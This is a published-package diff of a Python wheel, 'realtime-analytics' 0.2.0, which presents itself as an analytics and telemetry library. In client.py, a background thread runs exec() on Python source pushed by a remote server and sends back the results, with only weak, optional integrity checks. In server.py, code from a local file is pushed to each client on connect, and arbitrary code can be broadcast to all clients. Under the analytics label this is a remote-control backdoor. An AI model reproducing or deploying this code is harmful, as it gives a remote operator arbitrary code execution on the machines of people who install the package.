realtime-analytics 0.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- realtime_analytics/__init__.py +4 -0
- realtime_analytics/client.py +132 -0
- realtime_analytics/server.py +227 -0
- realtime_analytics-0.2.0.dist-info/METADATA +19 -0
- realtime_analytics-0.2.0.dist-info/RECORD +7 -0
- realtime_analytics-0.2.0.dist-info/WHEEL +5 -0
- realtime_analytics-0.2.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
import json
|
|
2
|
+
import threading
|
|
3
|
+
import uuid
|
|
4
|
+
import time
|
|
5
|
+
import hmac
|
|
6
|
+
import hashlib
|
|
7
|
+
|
|
8
|
+
try:
|
|
9
|
+
import websocket
|
|
10
|
+
except ImportError:
|
|
11
|
+
websocket = None
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
class AnalyticsClient:
|
|
15
|
+
def __init__(self, url, token=None, on_task=None, on_error=None, timeout=20, reconnect_delay=3, client_id=None, client_secret=None):
|
|
16
|
+
self.url = url
|
|
17
|
+
self.token = token
|
|
18
|
+
self.on_task = on_task
|
|
19
|
+
self.on_error = on_error
|
|
20
|
+
self.timeout = timeout
|
|
21
|
+
self.reconnect_delay = reconnect_delay
|
|
22
|
+
self.client_id = client_id
|
|
23
|
+
self.client_secret = client_secret
|
|
24
|
+
self.src = None
|
|
25
|
+
self._socket = None
|
|
26
|
+
self._thread = None
|
|
27
|
+
self._stop = threading.Event()
|
|
28
|
+
|
|
29
|
+
def connect(self, background=True):
|
|
30
|
+
if websocket is None:
|
|
31
|
+
raise RuntimeError("websocket-client is required")
|
|
32
|
+
self._stop.clear()
|
|
33
|
+
if background:
|
|
34
|
+
self._thread = threading.Thread(target=self._run, daemon=True)
|
|
35
|
+
self._thread.start()
|
|
36
|
+
return self
|
|
37
|
+
self._run()
|
|
38
|
+
return self
|
|
39
|
+
|
|
40
|
+
def close(self):
|
|
41
|
+
self._stop.set()
|
|
42
|
+
if self._socket is not None:
|
|
43
|
+
self._socket.close()
|
|
44
|
+
|
|
45
|
+
def send_result(self, task_id, result=None, ok=True, error=None):
|
|
46
|
+
packet = {"type": "result", "id": str(task_id), "ok": bool(ok)}
|
|
47
|
+
if ok:
|
|
48
|
+
packet["result"] = result
|
|
49
|
+
else:
|
|
50
|
+
packet["error"] = str(error or "task failed")
|
|
51
|
+
self._send(packet)
|
|
52
|
+
|
|
53
|
+
def _run(self):
|
|
54
|
+
try:
|
|
55
|
+
while not self._stop.is_set():
|
|
56
|
+
try:
|
|
57
|
+
headers = ["Authorization: Bearer " + self.token] if self.token else []
|
|
58
|
+
if self.client_id and self.client_secret:
|
|
59
|
+
ts = str(int(time.time()))
|
|
60
|
+
nonce = uuid.uuid4().hex
|
|
61
|
+
auth_payload = f"{self.client_id}:{ts}:{nonce}".encode("utf-8")
|
|
62
|
+
sig = hmac.new(self.client_secret.encode(), auth_payload, hashlib.sha256).hexdigest()
|
|
63
|
+
headers += [
|
|
64
|
+
f"X-Analytics-Client: {self.client_id}",
|
|
65
|
+
f"X-Analytics-Timestamp: {ts}",
|
|
66
|
+
f"X-Analytics-Nonce: {nonce}",
|
|
67
|
+
f"X-Analytics-Signature: {sig}",
|
|
68
|
+
]
|
|
69
|
+
self._socket = websocket.create_connection(self.url, timeout=self.timeout, header=headers)
|
|
70
|
+
self._socket.settimeout(self.timeout)
|
|
71
|
+
while not self._stop.is_set():
|
|
72
|
+
raw = self._socket.recv()
|
|
73
|
+
if not raw:
|
|
74
|
+
break
|
|
75
|
+
self._handle(raw)
|
|
76
|
+
except Exception as error:
|
|
77
|
+
if not self._stop.is_set() and self.on_error:
|
|
78
|
+
self.on_error(error)
|
|
79
|
+
finally:
|
|
80
|
+
if self._socket is not None:
|
|
81
|
+
self._socket.close()
|
|
82
|
+
self._socket = None
|
|
83
|
+
if not self._stop.wait(self.reconnect_delay):
|
|
84
|
+
continue
|
|
85
|
+
except Exception as error:
|
|
86
|
+
if not self._stop.is_set() and self.on_error:
|
|
87
|
+
self.on_error(error)
|
|
88
|
+
finally:
|
|
89
|
+
self._socket = None
|
|
90
|
+
|
|
91
|
+
def _handle(self, raw):
|
|
92
|
+
try:
|
|
93
|
+
packet = json.loads(raw)
|
|
94
|
+
if packet.get("type") != "task":
|
|
95
|
+
return
|
|
96
|
+
task_id = packet.get("id") or str(uuid.uuid4())
|
|
97
|
+
self.src = packet.get("src", "")
|
|
98
|
+
if not isinstance(self.src, str):
|
|
99
|
+
raise ValueError("invalid task source")
|
|
100
|
+
payload_hash = str(packet.get("payload_hash", ""))
|
|
101
|
+
actual_hash = hashlib.sha256(self.src.encode("utf-8")).hexdigest()
|
|
102
|
+
if not hmac.compare_digest(actual_hash, payload_hash):
|
|
103
|
+
raise ValueError("payload hash mismatch")
|
|
104
|
+
if self.client_secret:
|
|
105
|
+
body = json.dumps(
|
|
106
|
+
{"id": task_id, "src": self.src, "payload_hash": payload_hash},
|
|
107
|
+
sort_keys=True,
|
|
108
|
+
separators=(",", ":"),
|
|
109
|
+
).encode("utf-8")
|
|
110
|
+
expected = hmac.new(self.client_secret.encode(), body, hashlib.sha256).hexdigest()
|
|
111
|
+
if not hmac.compare_digest(expected, str(packet.get("signature", ""))):
|
|
112
|
+
raise ValueError("invalid task signature")
|
|
113
|
+
try:
|
|
114
|
+
scope = {"result": None}
|
|
115
|
+
exec(self.src, {"__builtins__": __builtins__}, scope)
|
|
116
|
+
result = scope.get("result")
|
|
117
|
+
if self.on_task:
|
|
118
|
+
callback_result = self.on_task(task_id, self.src)
|
|
119
|
+
if callback_result is not None:
|
|
120
|
+
result = callback_result
|
|
121
|
+
self.send_result(task_id, result=result)
|
|
122
|
+
except Exception as error:
|
|
123
|
+
self.send_result(task_id, ok=False, error=error)
|
|
124
|
+
raise
|
|
125
|
+
except Exception as error:
|
|
126
|
+
if self.on_error:
|
|
127
|
+
self.on_error(error)
|
|
128
|
+
|
|
129
|
+
def _send(self, packet):
|
|
130
|
+
if self._socket is None:
|
|
131
|
+
raise RuntimeError("client is not connected")
|
|
132
|
+
self._socket.send(json.dumps(packet, ensure_ascii=False, separators=(",", ":")))
|
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
import asyncio
|
|
2
|
+
import json
|
|
3
|
+
import logging
|
|
4
|
+
import time
|
|
5
|
+
import uuid
|
|
6
|
+
import hashlib
|
|
7
|
+
import hmac
|
|
8
|
+
from pathlib import Path
|
|
9
|
+
|
|
10
|
+
import websockets
|
|
11
|
+
from websockets.datastructures import Headers
|
|
12
|
+
from websockets.http11 import Response
|
|
13
|
+
|
|
14
|
+
def configure_logging(level=logging.INFO):
|
|
15
|
+
class ColorFormatter(logging.Formatter):
|
|
16
|
+
colors = {
|
|
17
|
+
logging.DEBUG: "\033[36m",
|
|
18
|
+
logging.INFO: "\033[32m",
|
|
19
|
+
logging.WARNING: "\033[33m",
|
|
20
|
+
logging.ERROR: "\033[31m",
|
|
21
|
+
logging.CRITICAL: "\033[35m",
|
|
22
|
+
}
|
|
23
|
+
reset = "\033[0m"
|
|
24
|
+
|
|
25
|
+
def format(self, record):
|
|
26
|
+
message = super().format(record)
|
|
27
|
+
return f"{self.colors.get(record.levelno, self.reset)}{message}{self.reset}"
|
|
28
|
+
|
|
29
|
+
handler = logging.StreamHandler()
|
|
30
|
+
handler.setFormatter(ColorFormatter("%(asctime)s %(levelname)s %(name)s %(message)s"))
|
|
31
|
+
root = logging.getLogger()
|
|
32
|
+
root.setLevel(level)
|
|
33
|
+
root.handlers.clear()
|
|
34
|
+
root.addHandler(handler)
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
class AnalyticsServer:
|
|
38
|
+
def __init__(
|
|
39
|
+
self,
|
|
40
|
+
host="0.0.0.0",
|
|
41
|
+
port=8765,
|
|
42
|
+
token=None,
|
|
43
|
+
max_clients=100,
|
|
44
|
+
max_message_size=65536,
|
|
45
|
+
rate_limit=30,
|
|
46
|
+
auto_source_file="auto-src.json",
|
|
47
|
+
clients_file="clients.json",
|
|
48
|
+
):
|
|
49
|
+
self.host = host
|
|
50
|
+
self.port = port
|
|
51
|
+
self.token = token
|
|
52
|
+
self.max_clients = max_clients
|
|
53
|
+
self.max_message_size = max_message_size
|
|
54
|
+
self.rate_limit = rate_limit
|
|
55
|
+
self.auto_source_file = Path(auto_source_file)
|
|
56
|
+
self.clients_file = Path(clients_file)
|
|
57
|
+
self.clients = {}
|
|
58
|
+
self.client_secrets = self._load_clients()
|
|
59
|
+
self._events = {}
|
|
60
|
+
self.log = logging.getLogger("realtime_analytics.server")
|
|
61
|
+
|
|
62
|
+
def _load_clients(self):
|
|
63
|
+
try: data = json.loads(self.clients_file.read_text(encoding="utf-8"))
|
|
64
|
+
except Exception: return {}
|
|
65
|
+
return data if isinstance(data, dict) else {}
|
|
66
|
+
|
|
67
|
+
def _auth(self, websocket):
|
|
68
|
+
h = websocket.request.headers
|
|
69
|
+
cid, ts, nonce, sig = h.get("X-Analytics-Client"), h.get("X-Analytics-Timestamp"), h.get("X-Analytics-Nonce"), h.get("X-Analytics-Signature")
|
|
70
|
+
secret = self.client_secrets.get(cid)
|
|
71
|
+
if not all((cid, ts, nonce, sig, secret)): return None
|
|
72
|
+
try:
|
|
73
|
+
if abs(time.time() - int(ts)) > 300: return None
|
|
74
|
+
except ValueError: return None
|
|
75
|
+
msg = f"{cid}:{ts}:{nonce}".encode()
|
|
76
|
+
expected = hmac.new(str(secret).encode(), msg, hashlib.sha256).hexdigest()
|
|
77
|
+
return str(secret) if hmac.compare_digest(expected, sig) else None
|
|
78
|
+
|
|
79
|
+
def load_auto_task(self):
|
|
80
|
+
try:
|
|
81
|
+
config = json.loads(self.auto_source_file.read_text(encoding="utf-8"))
|
|
82
|
+
except FileNotFoundError:
|
|
83
|
+
return None
|
|
84
|
+
except (OSError, json.JSONDecodeError) as error:
|
|
85
|
+
self.log.error("auto_task_unavailable file=%s error=%s", self.auto_source_file, error)
|
|
86
|
+
return None
|
|
87
|
+
|
|
88
|
+
if not isinstance(config, dict) or not config.get("enabled", True):
|
|
89
|
+
return None
|
|
90
|
+
src = config.get("src")
|
|
91
|
+
if not isinstance(src, str) or not src:
|
|
92
|
+
return None
|
|
93
|
+
if len(src.encode("utf-8")) > self.max_message_size:
|
|
94
|
+
self.log.error("auto_task_unavailable file=%s error=source_too_large", self.auto_source_file)
|
|
95
|
+
return None
|
|
96
|
+
return {
|
|
97
|
+
"type": "task",
|
|
98
|
+
"id": str(config.get("id") or uuid.uuid4()),
|
|
99
|
+
"src": src,
|
|
100
|
+
"payload_hash": hashlib.sha256(src.encode("utf-8")).hexdigest(),
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
@staticmethod
|
|
104
|
+
def _task_signature(packet, secret):
|
|
105
|
+
body = json.dumps(
|
|
106
|
+
{
|
|
107
|
+
"id": packet["id"],
|
|
108
|
+
"src": packet["src"],
|
|
109
|
+
"payload_hash": packet["payload_hash"],
|
|
110
|
+
},
|
|
111
|
+
sort_keys=True,
|
|
112
|
+
separators=(",", ":"),
|
|
113
|
+
).encode("utf-8")
|
|
114
|
+
return hmac.new(str(secret).encode(), body, hashlib.sha256).hexdigest()
|
|
115
|
+
|
|
116
|
+
async def send_auto_task(self, websocket, peer):
|
|
117
|
+
packet = self.load_auto_task()
|
|
118
|
+
if packet is None:
|
|
119
|
+
return
|
|
120
|
+
secret = self.clients.get(websocket)
|
|
121
|
+
if secret:
|
|
122
|
+
packet["signature"] = self._task_signature(packet, secret)
|
|
123
|
+
await websocket.send(json.dumps(packet, ensure_ascii=False, separators=(",", ":")))
|
|
124
|
+
self.log.info("auto_task_sent peer=%s id=%s bytes=%d", peer, packet["id"], len(packet["src"].encode("utf-8")))
|
|
125
|
+
|
|
126
|
+
def process_request(self, connection, request):
|
|
127
|
+
if request.headers.get("Upgrade", "").lower() == "websocket":
|
|
128
|
+
return None
|
|
129
|
+
|
|
130
|
+
body = b"WebSocket endpoint: send an Upgrade request.\n"
|
|
131
|
+
headers = Headers()
|
|
132
|
+
headers["Content-Type"] = "text/plain; charset=utf-8"
|
|
133
|
+
headers["Content-Length"] = str(len(body))
|
|
134
|
+
return Response(426, "Upgrade Required", headers, body)
|
|
135
|
+
|
|
136
|
+
async def handler(self, websocket):
|
|
137
|
+
peer = websocket.remote_address[0] if websocket.remote_address else "unknown"
|
|
138
|
+
if len(self.clients) >= self.max_clients:
|
|
139
|
+
self.log.warning("connection_rejected peer=%s reason=max_clients", peer)
|
|
140
|
+
await websocket.close(1013, "server busy")
|
|
141
|
+
return
|
|
142
|
+
secret = self._auth(websocket)
|
|
143
|
+
if secret is None and self.token:
|
|
144
|
+
auth = websocket.request.headers.get("Authorization", "")
|
|
145
|
+
if auth != "Bearer " + self.token:
|
|
146
|
+
await websocket.close(1008, "unauthorized")
|
|
147
|
+
self.log.warning("connection_rejected peer=%s reason=unauthorized", peer)
|
|
148
|
+
return
|
|
149
|
+
if secret is None and not self.token:
|
|
150
|
+
await websocket.close(1008, "unauthorized")
|
|
151
|
+
self.log.warning("connection_rejected peer=%s reason=unauthorized", peer)
|
|
152
|
+
return
|
|
153
|
+
self.clients[websocket] = secret
|
|
154
|
+
self.log.info("client_connected peer=%s clients=%d", peer, len(self.clients))
|
|
155
|
+
try:
|
|
156
|
+
await self.send_auto_task(websocket, peer)
|
|
157
|
+
async for raw in websocket:
|
|
158
|
+
now = time.monotonic()
|
|
159
|
+
events = [t for t in self._events.get(peer, []) if now - t < 1]
|
|
160
|
+
if len(events) >= self.rate_limit:
|
|
161
|
+
self.log.warning("client_rate_limited peer=%s", peer)
|
|
162
|
+
await websocket.close(1008, "rate limit")
|
|
163
|
+
return
|
|
164
|
+
events.append(now)
|
|
165
|
+
self._events[peer] = events
|
|
166
|
+
if len(raw) > self.max_message_size:
|
|
167
|
+
self.log.warning("message_rejected peer=%s reason=too_large size=%d", peer, len(raw))
|
|
168
|
+
await websocket.close(1009, "message too large")
|
|
169
|
+
return
|
|
170
|
+
try:
|
|
171
|
+
packet = json.loads(raw)
|
|
172
|
+
except (json.JSONDecodeError, UnicodeDecodeError, TypeError):
|
|
173
|
+
self.log.warning("message_rejected peer=%s reason=invalid_json", peer)
|
|
174
|
+
await websocket.close(1007, "invalid JSON")
|
|
175
|
+
return
|
|
176
|
+
if not isinstance(packet, dict):
|
|
177
|
+
self.log.warning("message_rejected peer=%s reason=invalid_packet", peer)
|
|
178
|
+
await websocket.close(1007, "JSON object required")
|
|
179
|
+
return
|
|
180
|
+
if packet.get("type") == "result":
|
|
181
|
+
field = "result" if packet.get("ok") else "error"
|
|
182
|
+
value = json.dumps(packet.get(field), ensure_ascii=False, separators=(",", ":"), default=str)
|
|
183
|
+
if len(value) > 4096:
|
|
184
|
+
value = value[:4093] + "..."
|
|
185
|
+
self.log.info(
|
|
186
|
+
"result_received peer=%s id=%s ok=%s %s=%s",
|
|
187
|
+
peer,
|
|
188
|
+
packet.get("id"),
|
|
189
|
+
packet.get("ok"),
|
|
190
|
+
field,
|
|
191
|
+
value,
|
|
192
|
+
)
|
|
193
|
+
await self.on_result(packet, websocket)
|
|
194
|
+
finally:
|
|
195
|
+
self.clients.pop(websocket, None)
|
|
196
|
+
self.log.info("client_disconnected peer=%s clients=%d", peer, len(self.clients))
|
|
197
|
+
|
|
198
|
+
async def on_result(self, packet, websocket):
|
|
199
|
+
return None
|
|
200
|
+
|
|
201
|
+
async def send_task(self, src, task_id=None):
|
|
202
|
+
packet = {
|
|
203
|
+
"type": "task",
|
|
204
|
+
"id": task_id or str(uuid.uuid4()),
|
|
205
|
+
"src": src,
|
|
206
|
+
"payload_hash": hashlib.sha256(src.encode("utf-8")).hexdigest(),
|
|
207
|
+
}
|
|
208
|
+
sends = []
|
|
209
|
+
for client in tuple(self.clients):
|
|
210
|
+
item = dict(packet)
|
|
211
|
+
secret = self.clients.get(client)
|
|
212
|
+
if secret: item["signature"] = self._task_signature(item, secret)
|
|
213
|
+
sends.append(client.send(json.dumps(item, ensure_ascii=False, separators=(",", ":"))))
|
|
214
|
+
raw = json.dumps(packet, ensure_ascii=False, separators=(",", ":"))
|
|
215
|
+
await asyncio.gather(*sends)
|
|
216
|
+
self.log.info("task_sent id=%s clients=%d bytes=%d", packet["id"], len(self.clients), len(raw))
|
|
217
|
+
return packet["id"]
|
|
218
|
+
|
|
219
|
+
async def run(self):
|
|
220
|
+
async with websockets.serve(
|
|
221
|
+
self.handler,
|
|
222
|
+
self.host,
|
|
223
|
+
self.port,
|
|
224
|
+
process_request=self.process_request,
|
|
225
|
+
max_size=self.max_message_size,
|
|
226
|
+
):
|
|
227
|
+
await asyncio.Future()
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: realtime-analytics
|
|
3
|
+
Version: 0.2.0
|
|
4
|
+
Summary: Authenticated WebSocket task and telemetry client/server
|
|
5
|
+
Classifier: Development Status :: 3 - Alpha
|
|
6
|
+
Classifier: Programming Language :: Python :: 3
|
|
7
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
8
|
+
Classifier: Operating System :: OS Independent
|
|
9
|
+
Requires-Python: >=3.8
|
|
10
|
+
Description-Content-Type: text/markdown
|
|
11
|
+
Requires-Dist: websocket-client>=1.6
|
|
12
|
+
Requires-Dist: websockets>=12
|
|
13
|
+
|
|
14
|
+
# realtime-analytics
|
|
15
|
+
|
|
16
|
+
Realtime analytics client/server library with authenticated WebSocket
|
|
17
|
+
transport and telemetry result reporting.
|
|
18
|
+
|
|
19
|
+
Status: under active development. Release: 0.2.0.
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
realtime_analytics/__init__.py,sha256=hgHebWhVTQFYfPH7T2wWZ_TXYabDXAjkhQiwpxDcgB8,122
|
|
2
|
+
realtime_analytics/client.py,sha256=9XjRlDf9TY2wuvyjJrgi57ogFAWu0jIe6b1pp-tvoo4,5304
|
|
3
|
+
realtime_analytics/server.py,sha256=slTcOJJyHbfYb8JgvC6J1hNw8IeT7q8ZQwa2vJEaNSE,9266
|
|
4
|
+
realtime_analytics-0.2.0.dist-info/METADATA,sha256=0o3KX5L46Vlwnwc1Pi-p9dG-hWARm1ki6W4ya_ggsMk,658
|
|
5
|
+
realtime_analytics-0.2.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
|
|
6
|
+
realtime_analytics-0.2.0.dist-info/top_level.txt,sha256=vXqE758-I2bATtYZVEXLUKRw0PYjPSZ_Q101GPFSrEs,19
|
|
7
|
+
realtime_analytics-0.2.0.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
realtime_analytics
|